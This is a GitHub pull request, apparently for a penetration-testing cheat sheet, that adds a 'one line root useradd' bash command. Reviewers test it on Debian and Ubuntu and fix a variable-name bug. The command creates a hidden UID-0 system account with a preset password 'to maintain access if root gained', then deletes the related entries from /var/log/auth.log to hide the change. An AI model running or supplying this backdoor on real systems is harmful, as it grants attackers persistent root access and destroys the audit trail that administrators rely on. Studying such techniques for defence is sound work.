-
Notifications
You must be signed in to change notification settings - Fork 270
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add one line root useradd #85
Conversation
maintain access if root gained
Looks good. @WebBreacher, would anyone be able to test this out at all to double check it works before merging? |
It works on my Debian Wheezy, and I tested it on a Ubuntu 13.04. Maybe the "sed" part is not very useful, as you want. |
I can check it out later tonight if needed. On Thu, Jun 19, 2014 at 9:07 AM, tekwizz123 notifications@github.com
|
just a little mistake
**One line root useradd** | ||
It creates a new root user. You have to change some parameters. | ||
```bash | ||
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks like you set PASSWD as the password variable but you call $PASSWORD later. Is that right or should the reference later be $PASSWD?
**One line root useradd** | ||
It creates a new root user. You have to change some parameters. | ||
```bash | ||
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sorry, my bad. I fixed the PASSWD issue.
maintain access if root gained